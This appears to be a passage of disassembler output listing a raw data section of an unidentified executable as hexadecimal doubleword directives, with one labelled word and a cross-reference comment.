dd 2982438h, 0FC0AF080h, 4210780Bh, 2045306Ah, 12BCEFEEh
dd 887E65C1h, 5C842908h, 9E032477h, 20940455h, 901856E4h
dd 3F5371C6h, 0FCDC2CFFh, 0F288E496h, 6890A08Ch, 0A52607A1h
dd 6069CD0Dh, 0EDEB582Ah, 32E5C00h, 0F4528871h, 0ED9843h
dd 0EBC493Ch, 2AC48264h, 0B8B25C00h, 61147069h, 0FD7617C3h
dd 2990889Ah, 6E888h, 4BA2BDA5h, 0A4964FA0h, 0C4D60400h
dd 0B7F9EC25h, 5E4102FDh, 0CCC5372h, 0C705C41h, 18DC5CD7h
dd 525CA13h, 0E8F2DF3Ch, 30EC08Ch, 700CABh, 0ADBEB9FFh
dd 698FC926h, 0CDEF270Fh, 5402F667h, 0F8022C6Ch, 0E9F73888h
dd 5C00CC58h, 0C768F6FBh, 0DE0CD3D7h, 1869E29Dh, 0DF22394Ch
dd 0BC391Fh, 0AE1EE7A6h, 67EE8B4Dh, 72001777h, 3419BB48h
dd 64FFCC68h, 82F0994Ah, 21205D10h, 0BEF96C7h, 188F5311h
dd 4E00E87Ah, 0C6712B7Eh, 31BF1306h, 0DB41FFE2h, 3AFC500Fh
dd 9F985186h, 7D33E402h, 0DE653219h, 409EE068h, 3F01FEE5h
dd 0ED35EA17h, 0CC605964h, 0C8AB04D4h, 0A4919D46h, 0DF50D7D8h
dd 55268F0Ch, 0BC26E075h, 4098F862h, 1C59C78h, 0ACE4C6F2h
dd 2FC9431Fh, 5C874028h, 20C8D850h, 0B4F8DF01h, 66C9E0CCh
dd 9504CDF0h, 5293ACC5h, 12199088h, 40C0EEA4h, 0F7A92F96h
dd 8007DE59h, 0A640252Bh, 0F600B8DAh, 6813BEF3h, 7B7703C3h
dd 4395093h, 87E4B8CDh, 97C0515Dh, 0EEA88C1Eh, 7829F2BEh
dd 4C494442h, 54109F8Eh, 0F203256Eh, 53FB66F5h, 99B0B77Dh
dd 1A508D6Ch, 29207E27h, 0D6459C7Ch, 0EB3EB8E8h, 0AC832800h
dd 0EDEEAA66h, 26909A03h, 0D2C05E8Fh, 7DB0C2FCh, 88156201h
dd 7393C076h, 0EBE14500h, 4A24AC68h, 0E4BF2D0Ch, 39DB70E9h
dd 458B0028h, 3F92B302h, 6B8700B2h, 4B7FD394h, 84BD5AD9h
dd 0E720DC1Ch, 209F553Ah, 0D49C48F4h, 0D7BE0147h, 724DC1F7h
dd 2DD5C417h, 7820385Ah, 5A91A9h, 94F78D2Ah, 0BC024483h
dd 9D62D200h, 189AAA7Ch, 80A738B5h, 43003A3Eh, 289EAE78h
dd 84B195FDh, 8C08C296h, 8CCE93AFh, 2B4C1980h, 9DC0D864h
dd 8E0895Fh, 106581F0h, 0C7AFEBh, 0F15D9675h, 412539ADh
dd 0F7902600h, 3A561FE1h, 968705BBh, 0A9CB13h, 0A8343B54h
dd 450143EEh, 54A09F8Bh, 3E607A87h, 98964CC4h, 7ECD6203h
dd 0C002B0A9h, 658A147Bh, 10E47176h, 457FC831h, 0F768CC3Dh
dd 863FCC00h, 607F6FEBh, 0ABC43822h, 40A3E200h, 2382F38Ch
dd 67153102h, 465CBCBEh, 3A0200F0h, 0F68BB453h, 3B4A4912h
dd 1AB13820h, 0C9660E8Eh, 12835EEAh, 4988991Fh, 3AF41561h
dd 5FE41C00h, 0DC0628A8h, 5E6AE457h, 0C5E04154h, 7138367Ah
dd 0C1424255h, 0D41BA4E2h, 0CEB527A0h, 0F46C95h, 60C80FFCh
dd 4A4C3E46h, 6A195407h, 0EB42CC8Eh, 51907CE0h, 748F0C47h
dd 4090BC99h, 48E98662h, 0ACB958h, 0FC85079h, 0CD3B84h
dd 11048FE3h, 0AF0CF62Eh, 0EEE6EA04h, 0A50753B8h, 0BBE2A4DAh
dd 4420D41Eh, 9250FD11h, 0E50D5964h, 481B7177h, 9F5F9430h
dd 6A402C98h, 20674A3Ch, 0EE6F14E7h, 7E0BDA80h, 340388F4h
dd 4EA37DECh, 608942C0h, 90B52898h, 5DE758h, 1C987011h
dd 4ED49206h
dd 623A49B0h, 0BA360BF5h, 0DCA82EAh, 4D4741Dh, 13AE1F7Fh
dd 664C8h, 2EA3D9FCh, 0CD3C39BFh, 9F86A112h, 9B7FC600h
dd 923914Ah, 7456D56Dh, 14240869h, 764420ABh, 34012A13h
dd 38E612DAh, 76702477h, 888D09A4h, 6004AD7Eh, 0D168491Bh
dd 5C4AC98h, 696E7Ch, 266B0C88h, 0EC535CBEh, 10771160h
dd 31374B78h, 0F1D60C44h, 0F4311474h, 0ABC0CCADh, 0E9311AC3h
dd 0FCC08852h, 0E374454Eh, 796B9D04h, 7EC442EDh, 86FC80A1h
dd 0C19F5B43h, 116035E4h, 907C7A65h, 92AFE3C7h, 0D4C82DDAh
dd 18E6EB14h, 9B539401h, 216B5930h, 1174B889h, 4F50C8D4h
dd 2C2300ABh, 0F7FEE7A1h, 0A7138814h, 0B48061EAh, 486EB3Fh
dd 0C713AC6Ch, 7310ACB1h, 4B717903h, 0EE05BBF8h, 0A1781098h
dd 0B5B80FADh, 0F3D0A0E6h, 189AECCBh, 881F0960h, 0B924A7E3h
dd 0A0315C24h, 41001D38h, 0CB894BDh, 8233E138h, 4A4B7E23h
dd 3100E0A9h, 0F62700E5h, 4EAC5CB7h, 0A32C88F8h, 0DB00FABDh
dd 0C45D9D15h, 4801B54Fh, 844CD7CFh, 0C458C40h, 0E8FB0D02h
dd 0C218280Ah, 7259319h, 49A8EF78h, 7560C397h, 7F10A98Eh
dd 4000315Ah, 82EFD262h, 0B2752592h, 0F587AB0Ah, 0B50EF358h
dd 0E6CBC614h, 1D7321E8h, 4435F708h, 80F33CACh, 544BC88h
dd 84BB20A3h, 2BD6D404h, 2C79BE22h, 393180F8h, 0E681F0h
dd 172FB36Fh, 0DB84AA38h, 434E9C12h, 5C007CA8h, 4C3CCE68h
dd 802E6EE2h, 3F0EE954h, 0E1CD80E4h, 98A467B5h, 0B89B1030h
dd 5FD91426h, 583908F8h, 0BCA0F04h, 0B4E1F960h, 8492BD40h
dd 1FDD3512h, 0BC7F9C4Ch, 13022610h, 0E0500060h, 8871529h
dd 84F420C0h, 0A7416686h, 0B818820h, 0B115CCC0h, 9CEC2641h
dd 795C0960h, 62E5B418h, 0BC465302h, 70109AD4h, 5EB8B080h
dd 28FC99C4h, 2D5E0008h, 0B4F02C06h, 0FF53702Eh, 60006862h
dd 264E75E7h, 3201727Bh, 6A875048h, 20836124h, 818F5B52h
dd 0BEDE500Bh, 737448D9h, 974C01F2h, 9331A8DDh, 3E1069DCh
dd 91FA03F5h, 0B97EFB4Ah, 0B8409420h, 9472CDFh, 71ED0F42h
dd 0D9720883h, 0BB2604E0h, 0A8F0542Eh, 96225B40h, 3E4900D4h
dd 8A582F47h, 0B7031387h, 12F72685h, 4F9EB07Ah, 51730076h
dd 0B9BAA643h, 0A800FE2Bh, 45813DE4h, 3E214088h, 3001584h
dd 0D9769DF7h, 618A06DAh, 0E142F14h, 382C5594h, 2BFC7111h
dd 643C30E1h, 6D37BB00h, 0DF01E0FEh, 0F92D1AEFh, 0E0D00887h
dd 6CE98203h, 0F098D6D7h, 5C81BB7Dh, 0DA037A1Dh, 70C4BF93h
dd 5E4460A8h, 0C0191362h, 4339E08Fh, 0D6F0005Fh, 0BAFDE732h
dd 730F6633h, 0A040B5A0h, 9A2135AAh, 0D3990101h, 7BE5D7C2h
dd 6918804Dh, 0F2B562FCh, 2D91E7Ch, 3945076Ch, 226580F5h
dd 8106B2E5h, 0D99FE043h, 5DC60758h, 0A04C77C5h, 95C73534h
dd 240C8530h, 60FE2EB2h, 8DF828A9h, 427CF171h, 295DBC0Ch
dd 6CD99E2h, 1B2C69D6h, 1FB06847h, 0AD314E00h, 65025735h
dd 78CF30E5h, 0DA72E3A0h, 5EE0441Dh, 5F3D4030h, 70026015h
dd 986CCD87h, 8F588461h, 708CF0C9h, 47A8DFBEh, 6A745F0Fh
dd 3A1017B9h, 0C8F80094h, 0A91917B2h, 601B60B6h, 4F2C6B33h
dd 70483A50h, 0ED1DD443h, 0E50A60AFh, 0C0415E39h, 0ECFB5D00h
dd 53A58DF7h, 4FC474EDh, 0FB383Ah, 0AAFC67F7h, 637CFD62h
dd 0A21CB503h, 9B4D35A9h, 914806D8h, 0A9F1861Fh, 0FE0458D0h
dd 60CE830Ch, 0DE1B9B10h, 8890B1ADh, 18662AE8h, 0B0677B9Ah
dd 0A71E3F83h, 486D968h, 4428B0AEh, 0BE003C71h, 1062C812h
dd 0F04AA34h, 7C50FAFh, 2C202A01h, 0DF6F30ACh, 281CAD3Ch
dd 200A67Ch, 1D244712h, 12E91B75h, 0FA16F3h, 7DC2C9F3h
dd 0A202E731h, 4309ADFDh, 0A4BA6038h, 58EA9Dh, 0BD1869C7h
dd 0F198A881h, 19220300h, 3BC1E375h, 0D1A203DEh, 8F3A70A5h
dd 0A0CE7A80h, 1C74F000h, 0F4E2B2BFh, 911000DDh, 58959BD4h
dd 15007D5Ch, 0B338C698h, 6FC165h, 10537771h, 0B0740506h
dd 70241C0Ah, 0B6039C38h, 0B8AA9B46h, 1E99046Fh, 405952D1h
dd 0CDF72B5h, 1F0C747Ah, 0D188F9C1h, 0DB10C03Ah, 0CDE20491h
dd 11660100h, 0BCEBCBC4h, 85AE0029h, 0F4FF8F06h, 6400B495h
dd 1BD309C3h, 4F265h, 4E8846F3h, 458FDCCFh, 0DEA7A800h
dd 5EB841A0h, 30280F48h, 833449FAh, 324E5500h, 0CDA1D0ABh
dd 0CADB2F01h, 0B97DD68Eh, 35C4E8h, 29FC328Bh, 7A87D223h
dd 7E555D03h, 0C71080BAh, 0EA371C41h, 0E3B1E4h, 5E65C69Bh
dd 0F825CB94h, 58179800h, 7850A18Eh, 0ADA62F70h, 0DB0BD0E0h
dd 75F4B4Ch, 0A2469B33h, 4211E020h, 71800766h, 80E147A1h
dd 74965C3Ch, 0F9409805h, 54804C12h, 0C92605h, 0E1EF1CBCh
dd 0BF0D3ECEh, 821DBD00h, 0E925F046h, 0B7CA0F06h, 0CCE01204h
dd 29481EFEh, 26DF5604h, 0B38041A3h, 1198E0h, 7D1C9B51h
dd 9A5A937Ch, 0FDB35400h, 31D46BF4h, 0E96300EDh, 471F2E6Eh
dd 0C9006F81h, 71567AFFh, 0FAA6418Fh, 310E0003h, 16CDCFACh
dd 0D8C07ED8h, 12F4D1A7h, 562D00BCh, 0F3CE1BF2h, 50F0BD13h
dd 0C111F803h, 0E3550CEAh, 39E1C1FEh, 0B8CDE0h, 0DAE5F310h
dd 0B9C31132h, 420886E6h, 1E7D9FCh, 0B8F6E883h, 137FC833h
dd 4804A900h, 6352A156h, 2E0B00DDh, 3A9C28EBh, 1590CE26h
dd 9004078h, 0D2DBB2F7h, 15DE8A4h, 7157BE87h, 409EAE26h
dd 5E8018BFh, 0C7015C7Ch, 7B103FF5h, 299FDE04h, 0A6A1C9B9h
dd 1C0AA400h, 70EBCB36h, 8D2669D6h, 70071064h, 82E7E913h
dd 11F5C020h, 0FEEB00E1h, 1261CAC6h, 58C7E738h, 0D640C97Eh
dd 337B9Bh, 0CB1AB76Ch, 0D93AC7BBh, 0F724E200h, 576953B3h
dd 34B2A1h, 0F6EDF487h, 60DC0A86h, 298C3C0Fh, 0D000323Dh
dd 9C081017h, 48FF6046h, 3FC6FD16h, 80ABA320h, 386C4794h
dd 0A801A55h, 31706810h, 749A2BA7h, 0AA0C3600h, 8F768221h
dd 8E97008Ch, 4C4B77F0h, 0BA242667h, 38009C37h, 41E819BFh
dd 79010054h, 64330351h, 82184707h, 0DADE8F7Eh, 0DB780088h
dd 9B436FD1h, 2750E06Ah, 0B039DF6h, 5D8F96C1h, 40F9B8A7h
dd 997E0035h, 3BCE21E4h, 4D1E0860h, 540AD4Ch, 4A7B2E53h
dd 8C79E6h, 376A246Ch, 5B8F5EC5h, 8E7C2B3Ch, 69261819h
dd 0AB3C8032h, 3D8F792h, 0F817A6C3h, 0D19985E3h, 0FE1DE0B2h
dd 0F187CD00h, 18C8ACAh, 0BE191EF3h, 40B29FE6h, 0B710DFFDh
dd 0B1008450h, 6D0B8AD6h, 180CACA3h, 0D20ABB05h, 5C00B936h
dd 0C210264Ah, 0EE9CB8EFh, 44C60069h, 47BE7A07h, 900D5A8h
dd 4192B158h, 26EAC524h, 0B99BA4h, 205DB836h, 7C072EBDh
dd 6BD455FAh, 23273310h, 0D7DB00C6h, 0F54483C8h, 0CD006AE9h
dd 0D50F3F03h, 0ED860D30h, 0E2A430h, 0A3F5193Dh, 56434BEh
dd 0F9D9EA00h, 99300443h, 5BD098A6h, 72AFC33h, 85F7378Eh
dd 9C2A45B0h, 0DC762404h, 3E638B5Ch, 0FEDCE38Eh, 19A34700h
dd 90BABBC6h, 68091200h, 0E00A3BEFh, 56083833h, 300E1C4Ch
dd 4B009CDCh, 2DCF0104h, 8252C909h, 0F2108066h, 0F4EF23h
dd 7CBACA16h, 27FE90D5h, 9D7B4C03h, 98D8AD47h, 1E7EC620h
dd 409B4B9Ah, 879E8375h, 7C006EE7h, 1804FB48h, 8179ABh
dd 5D0FB303h, 6A88C246h, 54ED4507h, 0A0708DD3h, 39E059B0h
dd 0C1000838h, 2CB7EB15h, 22009293h, 0BF4D132Dh, 0DA49DEh
dd 73CA6639h, 5A9DED5Fh, 41BA39h, 7F06D845h, 0F390968h
dd 0C9A13127h, 5BB65E21h
dd 0E5C22084h, 0A085FF00h, 1D275C03h, 2EE97428h, 8014DD16h
dd 0AEC8940Ah, 0AC006D59h, 9596318Eh, 704F48h, 8D36831Fh
dd 73579F8Ch, 28ACB203h, 885B8081h, 2CA7B576h, 188F2Ch
dd 1B07151h, 0B70B86F0h, 0A0369EEFh, 7E47B848h, 97FDEF61h
dd 0B8F91BC0h, 0F8BA0184h, 0AC4E025Eh, 18109070h, 4A139E03h
dd 2017C0E0h, 6440F65Bh, 14C5B233h, 3CE20057h, 7E49B8DEh
dd 1004E63h, 6A3A1FC4h, 0A86BCB5h, 0F55B1C6Ch, 18E5171Ch
dd 5E61F11Dh, 90D788CCh, 30595488h, 21FD2E4Dh, 0BF7F017Ch
dd 71AADFEBh, 12355088h, 471EF5B5h, 27C0CC97h, 164BA34Fh
dd 49FF3F7Bh, 0F46F3FF2h, 0EBA78680h, 81138CEDh, 0B8A6B600h
dd 3635BC0Eh, 7E571612h, 5317000Ch, 40D3B50Bh, 307AD41Dh
dd 0FBD25E1Fh, 0BFBE0B1Ch, 3B110F71h, 728D407Ch, 7D239Ch
dd 8E4A6A53h, 0D09A394Bh, 26571300h, 5673D22Dh, 61B900E9h
dd 47CD5876h, 71FC0CB3h, 6BBA8D00h, 544D0E68h, 79C4EA4Fh
dd 7CFD0484h, 0A08BCD65h, 2B77E7D4h, 6C67B900h, 1A5F43E3h
dd 0A89CABADh, 39D5ABh, 3AE52F01h, 1F64C1C0h, 0EACCAC05h
dd 0AE805597h, 94495F3Bh, 0C1B712ECh, 0C0E49577h, 2E028A71h
dd 0F55899FDh, 3954527Ch, 42B0CE0Bh, 672D5780h, 7CF63204h
dd 90B03983h, 0D85E00B4h, 0EA6D9CA6h, 0C0C0684h, 48484DCEh
dd 9BC500D9h, 0CC35A9A4h, 1A2AF170h, 63FE862h, 6C930194h
dd 0E537BCF5h, 0F20825CFh, 8B1FC400h, 0F611709Bh, 401D8C3h
dd 0A1CD5732h, 0D260AC61h, 9D6E4903h, 0A7E788FBh, 0D9BC0030h
dd 350EF485h, 0EA608FF6h, 0A26B226h, 0A8B902CCh, 6469637Ah
dd 25D6F460h, 0DD336E0Fh, 0FD0C608Ch, 3A2F73h, 463CDE94h
dd 4132C9B6h, 0FFCC7E00h, 0B85855E6h, 7DA70062h, 3BD8478Fh
dd 747D4C02h, 0CB9B8E28h, 887ECA00h, 8176DC14h, 802500B2h
dd 6D231D8Fh, 386D5584h, 0B1030831h, 0BD100116h, 4F5C44FDh
dd 4DACCC5Fh, 72CAD48h, 0B52010Ah, 0F102F0C0h, 894431BCh
dd 11A94829h, 2C20708h, 0C22C543h, 21F4248Eh, 271212B9h
dd 898CB410h, 84220820h, 51C49B22h, 0EC3128EFh, 11B52988h
dd 0C0847F90h, 42B84890h, 73241E87h, 0D043BD40h, 811E242Ch
dd 0D7EE0C6Eh, 25290Fh, 0EDBA0668h, 9DB20084h, 0A9D698EBh
dd 0BF00A44Bh, 0E78BEEC0h, 6B5622h, 1EF3C1CCh, 8E87140Ch
dd 21BA2000h, 42EB8D4h, 0C64D1E6Ah, 0F97D6A7h, 0A823D1B2h
dd 7CC0C81Eh, 6407CCDDh, 0FB93F8E7h, 57797AA0h, 0E31C0014h
dd 678B0BF5h, 6C005613h, 4DA8ABD4h, 0C4C76Eh, 3848EABFh
dd 59B3F637h, 260FCDE0h, 80180EE0h, 0FA0C8B77h, 74190C22h
dd 3658C916h, 0F43A2800h, 182AD4B3h, 3DB03888h, 8633900h
dd 20418948h, 0FDBED800h, 0C04295B8h, 4EE3007Dh, 0EFA01AE1h
dd 1E0E9F26h, 0E0362501h, 5D1354AEh, 26D2E638h, 125C7588h
dd 9E2C5D40h, 980D8191h, 872AC197h, 0E94E360h, 790F1700h
dd 6A41056Bh, 0C3C9156Fh, 598881A5h, 0A0000338h, 9974B666h
dd 13E1A3Fh, 48936769h, 0E8C7D6E0h, 0DF46DCAh, 0C11E6092h
dd 5000042Dh, 0D21DBC1Eh, 1207F42h, 0F9E79B61h, 308C7EC1h
dd 0C7EC9FC9h, 4A62BA02h, 4055CC2Bh, 5DB133h, 0FFC4A349h
dd 4F8816E7h, 0C032CB00h, 39952EEFh, 0DAD3D71h, 0F8314C01h
dd 0DD2877A0h, 1D9AF8CDh, 0C446C70Fh, 0E6B84321h, 0F955C10Eh
dd 11971180h, 0AD504BBFh, 3C7B3890h, 57A08700h, 7403E088h
dd 1CD7005Dh, 0EAA434F7h, 0AF00BC68h, 3870A11Eh, 8AFFE2h
dd 8817F156h, 45660C51h, 4E609E72h, 8F016040h, 163A01ACh
dd 1DF9D256h, 91C0D329h, 5001CC39h, 0FDD6443h, 7AC88C75h
dd 67EC2861h, 0ABF5009Ch, 580DCA4Fh, 0EF002A2Fh, 1CFF5132h
dd 73DC3557h, 0F84A1FF7h, 9A1F94h, 689F8F24h, 96003AFEh
dd 28911C30h, 0FC37FD66h, 6AC500DEh, 1177540Fh, 0F8BF6253h
dd 0EADA0E6Eh, 4E809978h, 0B36A194Ch, 409E6905h, 79C3EEA3h
dd 0FD28A8D2h, 0E7B70066h, 51C93CFCh, 0F512BF70h, 1C002C29h
dd 5D0E570Ah, 0F87B016Ch, 619988DCh, 0EFBBC37Ah, 0E1655FD8h
dd 807FFF38h, 17BC9DF5h, 1886BFE0h, 119BF397h, 0B000ADB8h
dd 521628BDh, 0FDAF2Dh, 8CFB4689h, 6D3BC839h, 8C6F4Dh
dd 117B3CAAh, 1FCBB12h, 0E03E292h, 0DCE95DF7h, 0C201DB7Ch
dd 0C44C76B1h, 79E45448h, 80F00F2h, 94AF58A8h, 9E002EF7h
dd 0E33DD320h, 7CE097Fh, 0CD9B2945h, 36605016h, 0FB38CA17h
dd 4338F6Dh, 9F0032B0h, 9722DC34h, 7F5D003Dh, 0E689D931h
dd 350B9CF4h, 80B1AA13h, 2B5C1563h, 0DE450038h, 9C086A7h
dd 4A7FE43Eh, 4F17A800h, 127AD81Ah, 0E20E00C7h, 10C35BA7h
dd 0BF0030F1h, 0D6BEEAE8h, 1DDEBA1Dh, 5CCF8FEh, 585753h
dd 0FF444280h, 56007B0Bh, 34A6AE1Dh, 0EB0904h, 0B3642754h
dd 7401C9F0h, 3BD61507h, 4E803892h, 0DE5543h, 0C237E728h
dd 5358783Fh, 0ECDCF626h, 38D0A100h, 26A39C3h, 0C9F931CAh
dd 506806A2h, 95005766h, 259ABAFFh, 21728DDh, 0A7086A93h
dd 1562B553h, 0A0E70F5Dh, 0E76EFA1Fh, 0FC76DEh, 927AE1A7h
dd 51CDE4B8h, 561BB900h, 4C4A6CEDh, 0A6DD0FF2h, 7CC442B6h
dd 0CBCC807Ah, 140787B2h, 181E5CC5h, 6F26BF61h, 4F9E930h
dd 9AEFB529h, 48F48583h, 0CD4089F0h, 0D00899h, 0CBA16F15h
dd 344D61BBh, 4746C300h, 0CEC0A321h, 2F501E25h, 0A2544375h
dd 93D8DD15h, 9C0001BBh, 0B5EAF9C7h, 0FDF5BCAh, 303FAD80h
dd 37B90AA0h, 6709BBA4h, 8054C259h, 0CE183D70h, 98CA00EEh
dd 0FFE815DAh, 9B0EC672h, 807A5173h, 5307CBA2h, 0E26EE819h
dd 0CE250049h, 5D914ACAh, 9400F1EAh, 90F333FCh, 213773Bh
dd 52FF1CFEh, 0DC60399Dh, 498881BEh, 497C7B19h, 0AE03DC8Ch
dd 9A9F8225h, 5541113h, 6B4C4001h, 0C8412B8Ch, 19C8AEA8h
dd 397E0093h, 108185DDh, 0FA1C532Eh, 0D7408946h, 0D2C5EF6h
dd 4FB43F69h, 9013A8h, 8564262h, 35DD1E36h, 1C720A7Eh
dd 3201397Dh, 26D88E5Ah, 0F6C44C5Fh, 359201E6h, 49F90F79h
dd 618ECC9Eh, 0F20E5500h, 0D8C99180h, 84A100C6h, 0CB32B0EFh
dd 8BF89865h, 4C8FA758h, 568048Eh, 0F4812F76h, 9C51CAB4h
dd 10D1456Ah, 33F2DD0h, 0F0710F0Ah, 0EEA0AC11h, 0B600A16Eh
dd 0E06C1E5Eh, 1993FFh, 6BD544B4h, 5D697F36h, 593B8600h
dd 9F6FCD4Dh, 0B63500E6h
db 0A4h, 0A6h
word_544F42 dw 92D6h ; DATA XREF: ___:off_4374C0o
dd 6309C41Eh, 0A012D9B0h, 0EE31EA30h, 23CB021Bh, 903AFD70h
dd 2D7EB0A0h, 4A00A135h, 7CD0BF1h, 0DF4160h, 0E6DC4769h
dd 9B9CC8F7h, 0A3191C0Bh, 72DC1043h, 75E4007Ch, 51E23110h
dd 0D200F0A5h, 9307747h, 0FBD494h, 7E988BAAh, 743A6DCBh
dd 305048h, 2E465FD8h, 18761CDDh, 0F8F5027Fh, 9E78220Ah
dd 706FF300h, 18758EECh, 6EEF26E0h, 0A39F000Bh, 2F040A1Eh
dd 51C5FA00h, 6F489A96h, 43550383h, 0CCCFD013h, 7B11FCC8h
dd 8040B438h, 980B1B32h, 0A5C419h, 9F42724Bh, 41CECA64h
dd 1A38FD00h, 23758FEh, 7A0E3B53h, 54A49FBDh, 40A61DA4h
dd 0DED0D114h, 0BDF89687h, 59FC2700h, 0FA3C7ED3h, 9BA30057h
dd 0AF71F866h, 0F903F6D8h, 8D6FDEEEh, 88F0005Bh, 390F348Bh
dd 2300D1D9h, 0C2297A8Eh, 0FBDA32h, 0DE7D9825h, 0CDD9F9FFh
dd 9175C100h, 2E9EE072h, 82B400D8h, 0A2CF6B8Ah, 59005D2Bh
dd 1EC67152h, 1D91585h, 0C2CC3E23h, 0E8218D9Ah, 0A407E57Fh
dd 342EE14h, 643F7A40h, 237100ADh, 670C2120h, 0E607C0A6h
dd 0E8173A4Ah, 3FC08E27h, 0C8F819h, 228A6998h, 40B0E02Fh
dd 0E13E3698h, 0D2978191h, 0C059B8C9h, 0E8FD7060h, 0CB7ED3h
dd 37F51029h, 1673650Dh, 0AA09F100h, 7517657h, 0E2C30E1Dh
dd 9460D25Ch, 8727D8C4h, 0CD2BDF18h, 3D159719h, 0A9003FEDh
dd 0E3ADB2BDh, 0A27D3052h, 6A2F4B00h, 62D09CA7h, 40F50E8Fh
dd 0B3403D56h, 8E9108AFh, 8330BAA0h, 0D6C0750Eh, 221A4931h
dd 0C868727Ch, 55229F4h, 136BF04Bh, 6F0083C6h, 0BE1AC4D8h
dd 0ABF3E007h, 55D049B2h, 48C0DFA8h, 0B326EAC8h, 12FC3F28h
dd 0C2F7ABA4h, 80669264h, 7D553E20h, 0FDCF00BCh, 0AE511B67h
dd 0FF1FAC2Ch, 0DA66EA73h, 305A01Fh, 0A8005F89h, 9DB80599h
dd 58BE03DBh, 3F5E1CBCh, 4E8F99Ah, 0C1037E95h, 6862E93Ah
dd 558B6Ah, 94AEC6D0h, 72C0DE38h, 0DFFB9A03h, 0C0CF3591h
dd 0FB75907Ch, 0F8B71C20h, 85F08Ah, 2673AD1Ch, 2A8D82F9h
dd 0E5370D00h, 6207EACAh, 0AFB62C01h, 0A7940594h, 0EA6C449Eh
dd 5B4A0045h, 331301h, 0ED4F9D7Dh, 0E76BBF09h, 86056098h
dd 3444D0EBh, 2EEFD003h, 23B6808Ch, 980C00DBh, 0E5A53F9Eh
dd 263BAC4Dh, 88860035h, 6FFC4B56h, 7AC31F5Fh, 0CE59C00Ch
dd 0A75EB179h, 0B9B67105h, 0B380E96Ah, 0A36603h, 2E70EC0Ah
dd 0C63EAF2h, 0AA7E2DFCh, 4B01367Fh, 9124F1B6h, 0E7C4DA77h
dd 0EF5800D6h, 54B45037h, 0D8006DA1h, 0CBB763BEh, 17DB0BABh
dd 1B666Fh, 1FC63EE7h, 6D0E5EEEh, 0C0A9C909h, 29118E87h
dd 7B401FD6h, 0F18040C5h, 99E24F34h, 7E002FF0h, 22B5BE43h
dd 7A688F3h, 93AC04F6h, 84C1A0FCh, 0A0593F80h, 0A8D907A8h
dd 803E28E9h, 0BDF836A6h, 1277E8ACh, 2D9A90h, 7F2BC33Fh
dd 0F7909B1Fh, 16A248h, 93B8A90Eh, 9DDD9FAh, 0DAD3CDF1h
dd 3D521100h, 10C07194h, 3459C049h, 99FB00B9h, 0BD6A6E57h
dd 0CA09CCEBh, 80D33D9Ah, 0DABAB402h, 20650218h, 933789BFh
dd 0F138B680h, 3548969Ah, 311800FFh, 0F2145563h, 0E0AD0302h
dd 0F1B42844h, 7B16D9C0h, 198DAC31h, 58802AAFh, 272D9285h
dd 0D90072B6h, 8EDF8F74h, 73829E7Dh, 0A100B8D3h, 3987EF28h
dd 0D0144F4Dh, 347F961Bh, 24CAD75Ch, 8F01B568h, 3F41DF93h
dd 783660E0h, 0C6FE00F2h, 951EAACh, 9D3D3280h, 6D3180CFh
dd 0E9AACD48h, 23470050h, 0A1C12BE1h, 26006A8Ch, 0E0EA6D80h
dd 0B12E8Eh, 5F139A0Dh, 17F0BA7h, 4F062B00h, 16E3E80Eh
dd 3CFED1h, 7CC14DA4h, 659CEF79h, 214A9602h, 0E1BDE883h
dd 188077EAh, 26DFB891h, 0BB7B6FBAh, 7C3ECF0Eh, 1F84A054h
dd 1F12EB6Dh, 5EDB1BD4h, 0D8FBC02Ch, 750D6815h, 0DC264800h
dd 0CCE2A81Fh, 1C6400F4h, 8CB773E6h, 0CF24F1E3h, 3407C2EFh
dd 0C5308E08h, 0C76440h, 654ABAAh, 8607B66Ah, 482E7D07h
dd 110A4FBh, 438BF1h, 7264506Fh, 0BD161D13h, 296BFC00h
dd 0D7BE96D9h, 62120045h, 0CC4B98A3h, 25024328h, 0AEC3EB11h
dd 90C4E987h, 20A072FEh, 1B002F89h, 47CD2E7Eh, 35F5E46h
dd 59B2861Eh, 0A081F29Eh, 0BD0460E3h, 0BB81801Fh, 88AAF9C0h
dd 3E61F1h, 0D48D6736h, 0EC7471CCh, 77581F90h, 4DE300E8h
dd 0F63763CAh, 789884h, 1C19397Ch, 20732DA8h, 48AB0600h
dd 3E97104Eh, 64FE05CFh, 0C3EC5071h, 32C80E14h, 0EA1221D6h
dd 19004058h, 55B6DAF4h, 0D55914F2h, 1703B5E8h, 9D79A876h
dd 0FE0DC9A1h, 0FE28E4E0h, 0C28F610Fh, 2FE6A2B1h, 982CC32Eh
dd 18740EDFh, 0D8E22881h, 0FA00F747h, 3943C55Dh, 3F0CA6CCh
dd 7C806983h, 9F28F80h, 0CE049884h, 44919E86h, 91EF10F0h
dd 54D807F8h, 0C4C405ADh, 3E28C137h, 2910048h, 0D09E03B5h
dd 10EE41C8h, 6BE068DAh, 0F959A6A5h, 0BEBF1434h, 191300FEh
dd 92BC30E0h, 42749EC2h, 0A3070201h, 842552F0h, 0D79303A1h
dd 0BDB694F1h, 6ADBC0DFh, 8500CED9h, 5E143C07h, 0E7200390h
dd 19BCAECh, 3B62BDF4h, 804F66DDh, 1BC36078h, 0F810F8C7h
dd 0F226009Dh, 11097A52h, 30079F05h, 717957F5h, 142B80BEh
dd 0F68859B9h, 5CE00F15h, 37A0B219h, 7FC512FAh, 6E58BA00h
dd 313D8520h, 0DF19018Dh, 0D66273C2h, 368C4EBh, 0F0DE9400h
dd 58CF841Eh, 358B804h, 4057A7B6h, 0A4D88A22h, 7007FF0h
dd 0D2B26E23h, 0E6BC6BC8h, 0D52C008Bh, 0D6BFDA6Fh, 5A00ACEAh
dd 0A2996DC3h, 1B2CB6Ch, 24487D21h, 0C8D29AE9h, 0FD7E1251h
dd 34DD9D00h, 234278BFh, 0EC5F00A2h, 38CE63C5h, 94000FF7h
dd 0D647BD9h, 0CC41B6BEh, 6DC21AC4h, 48C0DD05h, 0D40301C3h
dd 0FBD46FCAh, 8072F310h, 3CD346B0h, 6C00111Dh, 0C8E9C60Ah
dd 98002926h, 0B116723Ch, 0ED9B56h, 0FF835FE4h, 818FFDBAh
dd 6D78A00h, 76DC940h, 5B6500D6h, 73D49CBBh, 8700C0C6h
dd 4610AA19h, 6F2A15h, 0F41F2FECh, 0C656C2AFh, 28D91101h
dd 4EB5AAE5h, 1EDAF7E0h, 1F15E22Eh, 96803ED6h, 0B4111E33h
dd 0FC1FF19Ah, 8C03E89h, 77F41DA3h, 0BEEC00CCh, 1A720416h
dd 2907991Bh, 7A7FB0E3h, 0DD6348C0h, 61E5077Ch, 8069DB43h
